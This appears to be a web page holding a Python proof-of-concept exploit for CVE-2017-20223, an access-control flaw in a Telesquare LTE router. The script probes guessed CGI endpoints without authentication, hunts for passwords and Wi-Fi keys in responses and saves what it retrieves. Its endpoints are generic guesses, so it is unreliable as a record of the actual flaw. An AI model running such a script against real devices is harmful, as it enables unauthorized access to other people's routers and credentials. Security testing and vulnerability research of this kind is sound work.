CVE-2017-20223 Telesquare SKT LTE Router SDT-CS3B1 不安全直接对象引用漏洞

#!/usr/bin/env python3 """ CVE-2017-20223 PoC - Telesquare SKT LTE Router SDT-CS3B1 IDOR Vulnerability This PoC demonstrates the Insecure Direct Object Reference vulnerability in Telesquare SKT LTE Router SDT-CS3B1 firmware version 1.2.0 Note: This is for educational and authorized testing purposes only. """ import requests import sys import json # Target router IP address (replace with actual target) TARGET_IP = "192.168.1.1" TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}" def check_vulnerability(): """ Check if the target router is vulnerable to CVE-2017-20223 """ print(f"[*] Testing target: {TARGET_URL}") print("[*] Checking for IDOR vulnerability (CVE-2017-20223)") # Common endpoints that might be vulnerable vulnerable_endpoints = [ "/cgi-bin/admin.cgi", "/cgi-bin/system.cgi", "/cgi-bin/network.cgi", "/cgi-bin/wireless.cgi", "/cgi-bin/security.cgi" ] # Test parameters that might be manipulated test_params = [ {"id": "1"}, {"config_id": "1"}, {"page": "admin"}, {"mode": "read"}, {"section": "system"} ] for endpoint in vulnerable_endpoints: for params in test_params: try: url = TARGET_URL + endpoint print(f"[*] Testing: {url} with params: {params}") # Send request without authentication response = requests.get(url, params=params, timeout=5) # Check if we got unauthorized access if response.status_code == 200: content = response.text.lower() # Check for sensitive information indicators if any(keyword in content for keyword in ['password', 'admin', 'ssid', 'key', 'wpa', 'dns', 'ip']): print(f"[!] Potential vulnerability found at {endpoint}") print(f"[!] Response contains sensitive data") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[*] No obvious vulnerability detected") return False def exploit_idor(endpoint, param_name, param_value): """ Attempt to exploit the IDOR vulnerability """ print(f"[*] Attempting IDOR exploit on {endpoint}") url = TARGET_URL + endpoint params = {param_name: param_value} try: response = requests.get(url, params=params, timeout=5) if response.status_code == 200: print(f"[!] Successfully accessed resource with {param_name}={param_value}") print(f"[*] Response length: {len(response.text)} bytes") # Save response for analysis with open("idor_response.txt", "w") as f: f.write(response.text) print("[*] Response saved to idor_response.txt") return response.text except requests.exceptions.RequestException as e: print(f"[-] Exploit failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2017-20223 IDOR Vulnerability PoC") print("Target: Telesquare SKT LTE Router SDT-CS3B1") print("=" * 60) if len(sys.argv) > 1: TARGET_IP = sys.argv[1] TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}" if check_vulnerability(): print("\n[!] Target appears to be vulnerable!") print("[!] Manual verification recommended") else: print("\n[*] Target may not be vulnerable or is not reachable")